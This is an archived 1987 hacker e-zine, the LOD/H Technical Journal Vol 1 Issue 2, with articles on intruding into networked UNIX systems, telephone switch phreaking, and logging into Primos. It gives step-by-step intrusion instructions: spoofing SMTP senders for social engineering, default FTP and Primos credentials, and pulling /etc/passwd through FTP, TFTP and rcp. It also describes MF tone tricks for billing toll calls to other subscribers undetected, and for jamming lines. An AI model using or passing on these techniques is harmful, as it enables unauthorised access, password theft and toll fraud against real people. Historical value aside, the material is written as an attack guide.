home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / chibacity / lod2.txt < prev    next >
Text File  |  1996-04-23  |  158KB  |  3,580 lines

  1. 1: Intro & Table of Contents
  2. 2: The Networked UNIX- Solid State
  3. 3: Step X Step Switching- Phantom Phreaker
  4. 4: Guide to Primos- Carrier Culprit
  5. 5: Physical Security II- Lex Luthor
  6. 6: Discrete UNIX pw Hacker- Shooting Shark
  7. 7: IBM VM/CMS Op. System- Lex Luthor
  8. 8: Network News
  9.  
  10.                                     THE
  11.  
  12.                            LOD/H TECHNICAL JOURNAL
  13.                            -----------------------
  14.  
  15.                                INTRODUCTION:
  16.  
  17. Digital Logic: 305-395-6906 New User Pass=DIGIT
  18. LOD/H Technical Journal Staff Account Number is 231.
  19.  
  20.                   TABLE OF CONTENTS:
  21.  
  22. 01 Introduction to the LOD/H Technical Journal          Staff             04 K
  23.    and Table Of Contents for Volume 1, Issue 2
  24. 02 The Networked Unix                                   Solid State       17 K
  25. 03 Step By Step (SXS) Switching System Notes            Phantom Phreaker  12 K
  26. 04 A Guide to the PRIMOS Operating System               Carrier Culprit   25 K
  27. 05 Identifying and Defeating Physical Security and      Lex Luthor        30 K
  28.    Intrusion Detection Systems Part II: The Exterior
  29. 06 A Discrete Unix Password Hacker                      Shooting Shark    09 K
  30. 07 Hacking DEC's TOPS-20:  Part II                      Blue Archer       25 K
  31. 08 Hacking IBM's VM/CMS Operating System, Part A.       Lex Luthor        26 K
  32. 09 Hacking IBM's VM/CMS Operating System, Part B.       Lex Luthor        25 K
  33. 10 Network News & Notes                                 Staff             07 K
  34.  
  35. Total: 7 articles, 10 files  180 K
  36.  
  37. -------------------------------------------------------------------------------
  38.  
  39. ----------------------------
  40.      The Networked UNIX
  41.           :TCP-IP
  42.   by:
  43.         SOLID STATE
  44.         June 23 1987
  45. ----------------------------
  46.  
  47. PREFACE
  48.  
  49.    I've written this article with the assumption that those reading it have a
  50. working knowledge of UNIX and large networks, specifically the DARPA Internet
  51. -- ARPAnet and MILnet. Within I offer guidance on features of the TCP-IP
  52. (Internet Transmission Control Protocol) architecture, such as FTP, TFTP,
  53. TELNET, SMTP, and the UNIX Remote Execution Facilities. Before I commence, I
  54. want to make it known that this file is not intended to be a 'why' file, but
  55. instead a 'how to' tutorial. In the event I get a good response concerning
  56. this document, I may later release a more technical oriented paper from a
  57. programmer's viewpoint.
  58.  
  59.    NOTE: Instances where I give examples of a command format, words in capital
  60. represent variables. For example, in the line '$ telnet HOST', HOST should be
  61. replaced (in LOWERCASE!) by the name of a system. This is just my means of
  62. distinguishing between actual commands and their options.
  63.    Control characters are denoted in the form of an exponent, eg. ^H is
  64. control H.
  65.  
  66. YP DATABASE
  67.  
  68.    Present on every UNIX that supports TCP-IP are a set of files labeled by
  69. programmers as the yellow pages, that serve as a directory of the hosts and
  70. networks accessible by your system. These files are /etc/hosts and
  71. /etc/networks respectively. There may also be a third, /etc/hosts.equiv which
  72. is a listing of those hosts that share resources and/or have users common to
  73. each other. They are ASCII text and have viewable permissions to all.
  74. Therefore it may prove helpful to print these out for reference and easy
  75. access. Entries in the above mentioned take the form:
  76.  
  77. ###.###.###.###     host.owner.research   nicknames
  78.  
  79. Example:
  80.  
  81. 18.72.0.39          athena.mit.edu   mit-athena athena
  82.  
  83.    The string of numbers, expressed in octal "dot notation", is the NetNumber
  84. of the host. Followed by the complete name, and lastly other names which it is
  85. universally known as. When attempting to access a system, any one of these
  86. identification codes may be used.
  87.    NOTE: Most of the databases one will come across are incomplete or may be
  88. outdated. A complete host list can be obtained from the Network Information
  89. Control Center (NIC) at SRI International, the host name is sri-nic.arpa
  90.  
  91. TELNET
  92.  
  93.    Telnet is the standard facility used for logging into other systems. It is
  94. found not only on UNIX, but TOPS, VMS, and all the other various operating
  95. systems found on the DDN. To activate the program:
  96.  
  97. % telnet HOST [PORT]
  98.  
  99.    If invoked without arguments, it enters command mode, indicated by the
  100. prompt 'telnet>' From here, many functions are available.
  101.  
  102. open HOST [PORT]
  103.    Open connection to named computer. If PORT, which shall be explained
  104. subsequently, is ommitted then telnet will contact the TELNET server of that
  105. host. As earlier mentioned, systems can be addressed by either their
  106. NetNumber, NetName, or a nickname.
  107.  
  108. close
  109.    Close connection and return to command mode.
  110.  
  111. quit
  112.    End session and exit program.
  113.  
  114. status
  115.    Show current status of telnet. ie. connections and toggled options.
  116.  
  117. z
  118.    Suspend telnet. This allows you to operate an interactive shell on the
  119. local machine while pending an open connection to a remote host.
  120.  
  121. ? COMMAND
  122.    Get help on COMMAND. Or if COMMAND is ommitted, then a summary of all
  123. options is printed.
  124.  
  125.    Once a connection has been established, telnet enters input mode where you
  126. can communicate directly with the remote. To return to command mode, enter ^]
  127. A hacking session might look like:
  128.  
  129. % telnet ucbvax.berkeley.edu
  130. Trying 10.2.0.78 ...
  131. Connected to ucbvax.berkeley.edu.
  132. Escape character is '^]'.
  133.  
  134. 4.3 BSD UNIX (ucbvax.Berkeley.EDU)
  135.  
  136. login: example
  137. Password: ^D
  138. Connection closed by foreign host.
  139. %
  140.  
  141. PORTS
  142.  
  143.    Each host on the Internet runs various daemons to perform tedious upkeep
  144. jobs like recording logs, mounting disks and on UNIX, cleaning uucp and /tmp
  145. files. Along with the 'normal' daemons is one ran to accomodate communication
  146. between a host and its peers on a network. inetd the managing daemon of system
  147. to system communication has a number of various services which it regularly
  148. uses, but they can also be manually addressed via telnet. The notation,
  149. predisplayed, is simply:
  150.  
  151. % telnet HOST PORT
  152.  
  153. OR
  154.  
  155. telnet> open HOST PORT
  156.  
  157.    Now each service has a port number associated with it. The number is
  158. decimal, in the range 0-1023. A database of all active services is located in
  159. the ASCII text file /etc/services
  160.    From a hacker's view the following are very helpful in the process of
  161. penetrating a system:
  162.  
  163. 79        Finger server. Connecting to this will give a systat report similar
  164. to one a user would get if he was on the target system and issued the finger
  165. command. Once connected to port 79, the host will sit idle until one of two
  166. things: Either a return is pressed and a general finger will result, or a
  167. username is entered where personal info will outcome.
  168.  
  169. % telnet psuvax1.psu.edu 79
  170. Trying 128.118.6.2 ...
  171. Connected to psuvax1.psu.edu.
  172. Escape character is '^]'.
  173.  
  174. Login       Name              TTY Idle    When            Office
  175. opr      The Operator          co      Sat 19:02  334  Whitmo  x5-9723
  176. hager    William W. Hager      d1      Sat 18:50              237-8876
  177. georg    Georg Schnitger       22 1:32 Sat 18:42  315  Whitmo  x5-1406
  178. malik    Sohail Malik          p0  18  Sat 19:16  214c  Compu  x5-0816
  179. Connection closed by foreign host.
  180. %
  181.  
  182. 11        Systat server. This can not be issued to target UNIX systems, but is
  183. applicable to VMS and TOPS where it returns data like that from finger.
  184.  
  185. 25        SMTP server. This is the server used for mail among systems. It is
  186. also the most vulnerable port to attack as it can be easily fooled. With this
  187. knowledge the hacker can assume any identity he wishes through mail. For
  188. example, to send mail to guest@cc3.bbn.com from root@satnet.arpa, under normal
  189. circumstances one would have to possess the root account wherefrom he would
  190. just enter:
  191.  
  192. % mail guest@cc3.bbn.com
  193.  
  194.    But this is not always feasible or possible! So we must resort to an
  195. indirect, devious approach..
  196.  
  197. % telnet cc3.bbn.com 25
  198. Trying 8.3.0.5 ...
  199. Connected to cc3.bbn.com.
  200. Escape character is '^]'.
  201.  
  202. 220 cc3.bbn.com. Sendmail 3.2/SMI-3.2 ready at Fri, 28 Feb 87 17:40:53 PST
  203.  
  204. rcpt to: guest
  205. 250 guest... Recipient ok
  206. mail from: root@satnet.arpa
  207. 250 example... Sender ok
  208. data
  209. 354 Enter mail, end with "." on a line by itself
  210.  
  211. This is an example of the SMTP port.
  212. .
  213. 250 Mail accepted
  214. ^]
  215. telnet> c
  216. Connection closed.
  217. %
  218.  
  219.    To summarize the text above; First, contact the remote at port 25 using
  220. telnet:
  221.  
  222. % telnet HOST 25
  223.  
  224.    After system link authentication, enter:
  225.  
  226. rcpt to: USERNAME
  227.  
  228.    Ok? Type in bogus identity:
  229.  
  230. mail from: USERNAME@HOST
  231.  
  232.    To start message:
  233.  
  234. data
  235.  
  236.    Now, the mail:
  237.  
  238.      My organization has of late been discussing an upgrade to a Vax
  239. processor. The Sun computer we are currently using is immensely slow (and
  240. getting slower!) due to the demands put on it by the users. If you would allow
  241. me a demo account on your system so I may view its performance, I would be
  242. deeply grateful.
  243.      Please respond to me through mail at: bogus!haha!sys1!jeff.
  244.  
  245.    A period on a line by itself will complete the transfer:
  246.  
  247. .
  248.  
  249. FTP
  250.  
  251.    FTP is a file transfer program that is quite powerful and helpful to the
  252. hacker in obtaining access to a target. It can be used to send and receive
  253. data. Similar to telnet, the client with which to communicate can be
  254. specified when invoked:
  255.  
  256. % ftp -n HOST
  257.  
  258.    The -n option I always include as it disables auto-login and net-trace, an
  259. auto-feature which sends the originator's login and system name. The prompt
  260. for FTP is 'ftp>'.
  261.  
  262. open HOST
  263.    Establish connection to the named HOST.
  264.  
  265. close
  266.    Terminate connection and return to command interpreter.
  267.  
  268. quit
  269.    Abort program.
  270.  
  271. status
  272.    Show status parameters.
  273.  
  274. ! COMMAND
  275.    Run shell command on local machine. Like the 'z' option of telnet, if
  276. COMMAND is ommitted, than an interactive shell is invoked. ^D will return user
  277. back to the interpreter.
  278.  
  279. ls
  280.    Print a listing of the directory contents on the remote host in an
  281. abbreviated form. To do a long listing, enter 'dir'.
  282.  
  283. cd REMOTE_DIRECTORY
  284.    Change the working directory on server.
  285.  
  286. pwd
  287.    Print working directory on remote.
  288.  
  289. lcd DIRECTORY
  290.    Change the working directory on the local machine to DIRECTORY.
  291.  
  292. get REMOTE_FILE LOCAL_FILE
  293.    Receive the REMOTE_FILE on the remote system and name it LOCAL_FILE on the
  294. local system.
  295.  
  296. send LOCAL_FILE REMOTE_FILE
  297.    Send LOCAL_FILE to the host and name it REMOTE_FILE.
  298.  
  299. append LOCAL_FILE REMOTE_FILE
  300.    Append LOCAL_FILE to the end of the distant file, REMOTE_FILE.
  301.  
  302. rename REMOTE_FILE NEW_REMOTE_FILE
  303.    Give a new name to a remote file.
  304.  
  305. delete REMOTE_FILE
  306.    Kill REMOTE_FILE.
  307.  
  308.    Various other commands exist for bulk transfers and directory management.
  309. If there is any doubt ever on a command, help is always available:
  310.  
  311. ftp> help COMMAND
  312.  
  313.    Once a connection has been made, the computer will identify itself and then
  314. go idle. (That is, if auto-logging is disabled as it should be.) To login to
  315. the system:
  316.  
  317. ftp> user USERNAME
  318.  
  319.    Then if a pass is required, the proper prompt will appear.
  320.  
  321. % ftp -n
  322. ftp> o ll-xn.arpa
  323. Connected to LL-XN.ARPA.
  324. 220 ll-xn FTP server (Version 4.103 Wed Jun 25 17:42:33 EDT 1986) ready.
  325. ftp> user anonymous
  326. 331 Guest login ok, send ident as password.
  327. Password:
  328. 230 Guest login ok, access restrictions apply.
  329. ftp>
  330.  
  331.    Logging on to a FTP server is different than normally entering a machine.
  332. When a remote user is operating FTP, the exchange is treated as a process of
  333. ftp or daemon, not an actual login. Therefore, a different login program,
  334. which restricts use immensely, is used.
  335.    If set up properly, FTP will chroot to /usr/spool/ftp where three
  336. directories exist, bin, etc, and pub. Within /usr/spool/ftp/etc is the
  337. password file used for the FTP server login program. It is not a complete
  338. version of that in /etc/passwd, but it can be useful by providing usenames.
  339.    Also of mentioning is /etc/ftpusers. This file contains multiple lines
  340. of usernames is like /usr/lib/cron/cron.deny on a Unix System V. If you are
  341. unlucky and your username appears in the file, FTP logins are denied.
  342.    A few defaults are present within this doctored version of /etc/passwd that
  343. most always will provide access to a system.
  344.  
  345. ACCOUNT                  PASSWORD
  346. =================================
  347. anonymous                anonymous, guest, ftp
  348. ftp                      ftp
  349. guest                    guest
  350. ftpser                   ftpser
  351. tftpser                  tftpser
  352. help                     help
  353.  
  354.    Each user may have in their home directory a file titled '.netrc'. This is
  355. a file containing usernames and passwords used on systems that a user commonly
  356. converses with. Entries in the file take the form:
  357.  
  358. machine HOST login USERNAME password PASSWORD
  359.  
  360.    It is advantageous to locate all of these files on your system as they will
  361. expand not only your systems list, but also your chance of entering a
  362. computer.
  363.    Once admittance has been gained, I suggest copying the /etc/passwd file for
  364. later attempts at hacking the front end of the system if other routes such as
  365. defaults, finger, TFTP (To be explained hereafter.), or by way of the remote
  366. facilities (Ditto.) are not possible.
  367.  
  368. ftp> get /etc/passwd pass
  369. 200 PORT command okay.
  370. 150 Opening data connection for /etc/passwd (26.8.0.14,1389) (47 bytes).
  371. 226 Transfer complete.
  372. 48 bytes received in 0.32 seconds (0.15 Kbytes/s)
  373. ftp> close
  374. 221 Goodbye.
  375. ftp> quit
  376. %
  377.  
  378.  
  379. TFTP
  380.  
  381.    The Trivial File Transfer Program is probably the most dangerous aspect of
  382. the TCP-IP structure on the Internet. TFTP requires no account or password be
  383. present on a host system. About the only restriction is that the files
  384. inquired must have public read access permissions set. If not, an
  385. authorization failure error will result. Also, the TFTP server port must be
  386. open, otherwise no transmissions can take place.
  387.  
  388. % tftp HOST
  389.  
  390.    Once connected, the user will get the 'tftp>' prompt where from he can grab
  391. or send files.
  392.  
  393. connect HOST
  394.    Set HOST up for transfers. There is no actual connection made in the sense
  395. that communication has happened, the program merely remembers what host to be
  396. used in a transfer inquiry. Therefore, there is not a disconnect command.
  397.  
  398. quit
  399.    Exit TFTP.
  400.  
  401. status
  402.    Show current set parameters. ie. HOST and timeout period.
  403.  
  404. get /PATH/FILE /PATH/FILE
  405.    Get /PATH/FILE from HOST and name it /PATH/FILE on local system. If no HOST
  406. has been specified yet, the form may be 'get HOST:/PATH/FILE /PATH/FILE'.
  407.  
  408. put /PATH/FILE /PATH/FILE
  409.    Send /PATH/FILE on local system to HOST and give it the title /PATH/FILE.
  410. As above, if HOST has not been specified, the form is 'put /PATH/FILE
  411. HOST:/PATH/FILE'.
  412.  
  413. timeout SECONDS
  414.    Set timeout parameter. The default is 25, that means abort transmission if
  415. no response from selected host after set period.
  416.  
  417. ? COMMAND
  418.    Help with TFTP.
  419.  
  420.    TFTP is the preferred method of file transfer. But is often closed to use
  421. due to its insecurities. To the hacker though, it is wonderful because data
  422. captured are genuine, not doctored versions as is the case with FTP. Therefore
  423. if possible, one will most likely use it to copy /etc/passwd:
  424.  
  425. % tftp mit-amt
  426. tftp> get /etc/passwd /tmp/passwd
  427. Received 16453 bytes in 7 seconds.
  428. tftp> q
  429. %
  430.  
  431. REMOTE PROCEDURES
  432.  
  433.    Additional to the standard features of the TCP setup present on all
  434. machines of the net, UNIX has a set of it's own remote system interaction
  435. commands. The set of utilities, which I affectionately call the Remote
  436. Execution Facilities, are usable only between resource sharing UNIX systems.
  437. The conglomeration of remote programs can be very helpful for overtaking other
  438. suspect targets, especially if they are part of a small network unto
  439. themselves besides being major hosts on the Internet.
  440.    Before one sets out on the quest of conquering a system, it is wise to know
  441. who is currently logged on:
  442.  
  443. % rusers -l HOST
  444.  
  445.    Rusers -l alone will print out a listing for all immediate surrounding UNIX
  446. hosts, but if a HOST is specified, only that particular computer will report.
  447.  
  448. % rlogin HOST -l USERNAME
  449.  
  450.    If -l USERNAME is not included, the account name in use at present time
  451. will be used as the USERNAME when attempting login to HOST. If the username
  452. specified is present locally and on the distant machine in the file
  453. /etc/hosts.equiv, no password is required to login. This can be compromising
  454. to the security, a reason why the security wise will often make
  455. /etc/hosts.equiv a null file.
  456.    Each user may optionally have a file, '.rhost', in his home directory. This
  457. is a personal equivalent to /etc/hosts.equiv. If you are logged into an
  458. account with such a file, no pass is required to login (via rlogin), to the
  459. computers named.
  460.    Alike to the UUCP protocol, there is an allowance of the Remote Execution
  461. Facilities to preform commands on a networked system:
  462.  
  463. % rsh HOST -l USERNAME "COMMAND"
  464.  
  465.    Remote shell will permit unlimited commands to be carried out on the remote
  466. as long as the following criteria is met:
  467.      The username, if specified (If it is not, the current local one is
  468. used.), must be present on the foreign system and have remote execution
  469. privileges.
  470.      Commands are effective according to the environment set in .cshrc and
  471. .login on the host.
  472.    An example job:
  473.  
  474. % rsh century "ps -t console"
  475.  
  476.    If the quotes are ommitted then variables like *?.,\ are taken literally.
  477. Also, if no redirection is submitted, than output, if the command yields it,
  478. is sent back to the issuee.
  479.    Remote Copy, a sub-command of rsh, is a command similar to uucp. It must
  480. follow the criteria of Remote Shell plus all files qued must have public read
  481. permissions.
  482.  
  483. % rcp HOST:/PATH/FILE HOST:/PATH/FILE
  484.  
  485.    For example, a common call would be the password file. So if I wanted to
  486. transfer the /etc/passwd file from harvard.arpa to rutgers:
  487.  
  488. % rcp harvard.arpa:/etc/passwd rutgers:/tmp/passwd
  489.  
  490.    This format leaves quite alot of flexibility as it stands third party
  491. transfers are possible. If the second HOST is not inserted, than the file is
  492. put on the local system.
  493.    A notable option of rcp is directory copy. It will if specified, copy a
  494. directory and all the trees beneath it...allowing you to in theory to copy the
  495. entire file system onto your local host. (uh, oh!)
  496.  
  497. % rcp -d HOST:/PATH/DIRECTORY_NAME HOST:/PATH/DIRECTORY_NAME
  498.  
  499. CONCLUSION
  500.  
  501.    In closing I would like to state that I have purposely left much
  502. information uncovered if I felt it would compromise an institution or company.
  503. I apoligize for not explaining many of the subjects discussed in the full
  504. detail they deserve, but if I had this article would have been mammoth.
  505.    Any questions, challenges, comments, or criticism can be directed to me,
  506. Solid State, through any of a various boards I visit or to an LOD/H Technical
  507. Journal account of which your mail shall be somehow communicated to me.
  508. Sys Unix Comm
  509.  
  510.                          STEP BY STEP SWITCHING NOTES
  511.  
  512.                               BY PHANTOM PHREAKER
  513.  
  514.                       WRITTEN FOR LOD/H TECHNICAL JOURNAL
  515.  
  516.  
  517.     The following research was done on a class 5 Step By Step switching system.
  518. Items mentioned in this article are not guaranteed to work with your particular
  519. office.  The following interesting topics about Step By Step switching are for
  520. informational and educational purposes only. This article is aimed at people
  521. who wish to learn more about telephone switching systems.
  522.  
  523.     I realize step-by-step switching is dwindling every day, with many
  524. electromechanical SxS offices being replaced with newer electronic/digital
  525. switches and Remote Switching Systems (RSS's). However, rural areas of the U.S.
  526. still use Step, so if you are ever in an area served by a SxS CO you may be
  527. able to use this information.
  528.  
  529.  
  530.     1:ANI Failure/ONI
  531.     To understand this technique, you must understand how ANI functions in the
  532. Step-by-Step switching system. Your CO sends ANI, with your number, in MF or DP
  533. to receivers that collect the ANI information and store it, along with the
  534. called number, on the appropriate form of AMA tape. ANI outpulsing in MF can
  535. use either LAMA (Local Automatic Message Accounting) or CAMA (Centralized
  536. Automatic Message Accounting). ANI sent in DP type signalling can also be used,
  537. but is rare. DP vs MF trunk signalling is similar to the difference between
  538. DTMF and pulse dialing, except on a trunk. DP signalling sends all information
  539. in short bursts of 2600Hz tones.
  540.  
  541.     Causing ANIF's/ONI is an easy task in SxS (and some versions of Xbar),
  542. because the customer's link to the CO will allow the customer to input MF tones
  543. to influence a calls completion. This can be done by dialing a long distance
  544. number and listening to the clicks that follow. After the first click when you
  545. are done dialing, you will hear a few more. They will be timed very close to
  546. one another, and the last click occurs right before the called telephone rings.
  547. The number and speed of the clicks probably varies. Basically what these clicks
  548. are is the Toll Office that serves your CO setting up a route for your call. In
  549. order to abuse this knowledge, you need access to a MF source, whether it be a
  550. blue box, a computer with a good sound chip, tape recording, etc. Right before
  551. you hear the series of clicks, send one of the following sequences in MF:
  552.  
  553. KP+1 (Repeatedly) For Automatic Number Identification Failure (ANIF)
  554.  
  555. -or-
  556.  
  557. KP+2 (Repeatedly) For Operator Number Identification (ONI)
  558.  
  559. (Note:these will not work if your CO uses DP signalling.)
  560.  
  561. Play these tones into the phone at a sufficient volume so that they 'drown out'
  562. the series of clicks. Do not send an ST signal, as you are not actually dialing
  563. on a trunk. You must send these MF sequences quickly for this method to work
  564. correctly. After you have played your 'routing' a few times, you will hear a
  565. TSPS operator intercept your call and ask for the number you are calling FROM.
  566. When an ANIF is recognized, the call is cut through to a TSPS site that serves
  567. your area. Now, you can give the operator any number in your exchange and she
  568. will enter the billing information manually, and put the call through. The toll
  569. charges will appear on the customer who owns the number you gave. You can also
  570. accomplish a similar feat by merely flashing the switchook during the series of
  571. clicks. This will send DC pulses that scramble the ANI outpulsing and cause
  572. your call to be sent to a TSPS operator before the dialed number. Be sure to
  573. stop sending the MF 'routing' after the operator attaches or she may know that
  574. something's up. Use this method sparingly and with caution. It would also be a
  575. good idea not to use the same number for billing more than one time. Don't use
  576. this method in excess, because a toll office report will list the number of ANI
  577. failures for a specific time period. The ONI method works better because it is
  578. assumed ONI is needed to identify a caller's DN upon a multi-party line. Too
  579. many ANI failures will generate a report upon a security/maintenance TTY, so if
  580. you plan on using this method, use the ONI method instead of just ANI Failure.
  581. The basic idea behind the ANIF is to scramble your ANI information by using MF
  582. (or the switchhook) to send your LD call to a TSPS operator for Operator Number
  583. Identification (ONI) due to ANI Failure. The idea behind the ONI method is that
  584. you are fooling the switch into thinking you are calling from a multi-party
  585. line and ONI is needed to identify your DN.
  586.  
  587.  
  588.     2:Test numbers
  589.  
  590.     Some other interesting things in the Step By Step system can be found by
  591. dialing test numbers. Test numbers in SxS switching systems are usually hidden
  592. in the XX99 area, as opposed to 99XX, which is common for other types of
  593. switching systems. These types of numbers are possibly physical limitations of
  594. a SxS switch, and thus a milliwatt tone or other test numbers will be placed
  595. there, because a normal DN can't be assigned such a number. However, these XX99
  596. numbers are usually listed in COSMOS as test numbers. Another interesting note
  597. about XX99 numbers is that they seem (at least in some offices) to be on the
  598. same circuit. (That is, if one person calls an XX99 number and receives a test
  599. tone, and another person calls any other XX99 number in that same prefix, the
  600. second caller will receive a busy signal).
  601.  
  602.     Here we must examine the last four digits of a telephone number in detail.
  603.  
  604.  
  605. XXXX=WXYZ             W=Thousands digit
  606.                       X=Hundreds digit
  607.                       Y=Tens digit
  608.                       Z=Units digit
  609.  
  610.  
  611.     Dialing your prefix followed by an XX99 may result in a busy signal test
  612. number, a network overflow (reorder), milliwatt tones, or other type of error
  613. messages encountered when dialing.
  614.  
  615.     Not every XX99 number is a test number, but many are. Try looking for these
  616. in a known Step by Step office.
  617.  
  618.     The numbers that return a busy signal are the ones that incoming callers
  619. are connected to when the Sleeve lead of the called Directory Number is in a
  620. voltage present state, which means the line is in use or off-hook. More about
  621. this in the next topic.
  622.  
  623.  
  624.     3:Busy signal conferencing
  625.  
  626.     Another interesting feature of the Step-By-Step system is the way busy
  627. tones (60 IPM) are generated. In ESS and DMS central offices, busy signals that
  628. are sent by the terminating switch are computer generated and sound very even
  629. and clear with no signal irregularity. In SxS, all calls to a particular DN are
  630. sent to the same busy signal termination number, which can be reached most of
  631. the time by a POTS number. These busy tones are not computer generated and the
  632. voice path is not cut-off.
  633.  
  634.     You can take advantage of this and possibly have a 'busy signal
  635. conference'.
  636. This can be achieved by having several people dial the same busy DN that is
  637. served by a Step office, or by dialing an always-busy termination number. When
  638. you are connected to the busy signal, you will also be able to hear anyone else
  639. who has dialed the same busy number. Connection quality is very poor however,
  640. so this is not a good way to communicate.
  641.     As an added bonus, answering supervision is not returned on busy numbers,
  642. and thus the call will be toll-free for all parties involved. However, you must
  643. be using AT&T as your inter-LATA carrier if the call to the busy number is an
  644. inter-LATA call for you. So if your IC is US Sprint, you must first dial the
  645. AT&T Carrier Access Code (10ATT) before the busy number. If your IC doesn't
  646. detect answer supervision, and begins billing immediately or after a certain
  647. amount of time, then you will be billed for the length of the call.
  648.  
  649.  
  650.     4:Temporarily 'freezing' a line
  651.  
  652.     A SxS switching system that operates on the direct control principle is
  653. controlled directly by what the subscriber dials. Jamming a line on SxS to
  654. prevent service is possible by simply flashing the switchook a number of times.
  655. Or you may find after several aborted dialing attempts, the line will freeze
  656. until it is reset, either manually or by some time-out mechanism. Usually the
  657. time the line is out of action is only a few minutes. The line will return a
  658. busy signal to all callers, and the subscriber who has a 'dead' phone will not
  659. even hear sidetone. This happens when one of the elements in the switch train
  660. gets jammed. The switch train consists of the linefinder, which sends a dial
  661. tone to the subscriber who lifted his telephone, and places voltage on the S
  662. (Sleeve) lead as to mark that given DN as busy. Next in the switch train are
  663. the selectors. The selectors are what receive the digits you dial and move
  664. accordingly. The last step in the switch train is the connector. The connector
  665. is what connects calls that are intraoffice, and sends calls to a Toll office
  666. when necessary. Other types of devices can be used in the switch train, such as
  667. Digit Absorbing Selectors, where needed.
  668.  
  669.     5:Toll/Operator assisted dialing
  670.  
  671.     You may be able to dial 1/0+ numbers with your prefix included in some
  672. areas. You can dial any call that you could normally reach by dialing 1+ or 0+.
  673. For example, to dial an operator-assisted call to a number in Chicago, you
  674. could dial NXX+0312+555+1000 where NXX is your prefix, and you would receive
  675. the usual TSPS bong tone, and the number you dialed, 312+555+1000, would show
  676. up on the TSPS consoles LED readout board. You can also use a 1 in place of the
  677. 0 in the above example to put the call through as a normal toll call.
  678.  
  679.     This method does not bypass any type of billing, so don't get your hopes
  680. up high.
  681.  
  682.     The reason this works is twofold. The first reason is that the thousandths
  683. digit in many SxS offices determines the type of call. A 0 or a 1 in place of
  684. another number (which would represent a local call) is handled accordingly. The
  685. other reason is due to a Digit Absorbing Selector that can be installed in some
  686. SxS offices to 'absorb' the prefix on intraoffice calls when it is not needed
  687. to process the call. A DAS can absorb either two or three digits, depending
  688. on whether the CO needs any prefix digit(s) for intraoffice call completion.
  689.  
  690.     6:Hunting prefixes
  691.  
  692.     SxS switches may also translate an improperly dialed local call and send
  693. it to the right area over interoffice trunks. Take for instance, you need to
  694. make a local call to 492-1000. You could dial 292-1000 and reach the exact
  695. same number, provided that there is no 292 prefix within your local calling
  696. area. However, only the first digit of a prefix may be modified or the call
  697. will not go through correctly unless you happen to have dialed a valid local
  698. prefix. You also cannot use a 1 or a 0 in place of the first prefix digit,
  699. because the switch would interpret that as either dialing a toll or an operator
  700. assisted call.
  701.  
  702.  
  703.     7:Trunks
  704.  
  705.     Step by Step switching system incoming and outgoing trunks are very likely
  706. to use In-band supervisory signalling. This means you could possibly use
  707. numbers served by a SxS CO to blue box off of. But, some older step areas may
  708. not use MF signalling, but DP signalling. DP signalling uses short bursts of
  709. 2600Hz to transfer information as opposed to Multi-Frequency tones. In DP
  710. signalling, there are no KP or ST equivalents. Boxing may be accomplished from
  711. DP trunks by sending short bursts of 2600Hz (2 bursts would be the digit 2).
  712. Acceptable pulse rates are 7.5 to 12 pulses per second, but the normal rate is
  713. 10 pulses per second. A pulse consists of an 'on hook' (2600Hz) tone and an
  714. off-hook (no tone). So, at 10 pulses per second, a digit might be .04 seconds
  715. of tone and .06 seconds of silence. DP is rarely used today, but some
  716. direct-control Step offices still use it. Common Control Step offices are much
  717. more likely to use MF trunk signalling.
  718.  
  719.  
  720.     As said at the start of this file, some of the things mentioned here may
  721. have no practical use, but are being exposed to the public and to those who did
  722. not know about any one of the procedures mentioned here previously.
  723.  
  724.  
  725.                         References and acknowledgements
  726. ===============================================================================
  727.      Basic Telephone Switching Systems-By David Talley, Hayden publishers
  728.                No. 1 AMARC-Bell System Technical Journal
  729.   Mark Tabas for information about CAMA and DP, The Marauder, and Doom Prophet.
  730. ===============================================================================
  731.  
  732.  
  733.  
  734.  
  735. Gfiles: (1-8, ^3),?,Q : 
  736. The LOD/H Technical Journal: File #4 of 10
  737.  
  738.  
  739.  
  740.                      Written by,
  741.                    Carrier Culprit
  742.                          and
  743.                 The Legion Of Hackers
  744.  
  745.   This is Part I of a II part series on the PRIME
  746.   operating system.  In this article I will give a
  747.   general overview of the system and command usage.
  748.  
  749.  
  750.  Note: This article will center around the Primos version 19, and revisions
  751. 19.1
  752. and up.
  753.  
  754.  
  755. [Background Information]
  756.  
  757.   Primos is the operating system for the PRIME mainframe, and supermini
  758. systems.  The operating system is usually run on the Prime 750.  Primos is a
  759. relatively secure system. Externally security is great, but the internal
  760. security needs help.  The latest revision of version 19 is 19.4.0 (as of this
  761. writing). This revision is more secure in both external and internal security
  762. than its predecessors. By the time this article is released, Version 20 should
  763. be out and an article on that version will be forthcoming.
  764.  
  765.  
  766. [Logging in V18.x.x]
  767.  
  768.   It is quite easy to hack into a Prime running a version 18 of Primos.
  769. The external security is rather poor.  All you need is an ID to logon.
  770. There is no password prompt, thus getting an operator's account is
  771. rather easy. Occasionally, there will be some additional security software
  772. running and passwords will be needed. I am not going to go into detail on
  773. version 18 because it is obsolete, any questions regarding version 18 please
  774. leave me mail.
  775.  
  776.  
  777. [Logging in V19.x.x]
  778.  
  779.   A Primos system is very easy to recognize.  Once you are connected,
  780. hit a few returns to get the "ER!" prompt or you may be prompted
  781. with the ID prompt.  If you do get prompted with the ID prompt, you need
  782. not put "Login" in front of the ID. Here is an example of a Primos login:
  783.  
  784. ATDT 123-4567
  785.  
  786. [2 RETURNS]
  787.  
  788. ER! Login CARRIER
  789. Password:
  790.  
  791.  Prime (user 31) Logged in Friday, 5-Sept 14:27:20
  792.  Welcome to  Primos Version 19.4.5
  793.  Last login Thursday, Sept 4 1986 02:01:12
  794.  (1 mail waiting)
  795.  
  796.  Note: You usually get 1 try to login before being disconnected.
  797.  
  798.   In some cases the 2 c/r's are not needed and some systems won't respond until
  799. you type "login" and a return. Passwords and ID's are 6 characters, they may
  800. consist of letters and numbers.  Finding passwords on a Primos can be hard, but
  801. there are some common ID's and passwords.  You must use "login" before entering
  802. your ID.  In this case my ID is "CARRIER".  Here is a common list of ID's and
  803. passwords I have come across:
  804.  
  805.   ===============================
  806.   |  ID name     |  Password    |
  807.   ===============================
  808.   |  PRIME       |  PRIME       |
  809.   | *SYSTEM      |  SYSTEM      |
  810.   |  PRIMOS      |  PRIMOS      |
  811.   | *ADMIN       |  ADMIN       |
  812.   |  RJE         |  RJE         |
  813.   |  DEMO        |  DEMO        |
  814.   |  GAMES       |  GAMES       |
  815.   |  GUEST       |  GUEST       |
  816.   |  REGIST      |  REGIST      |
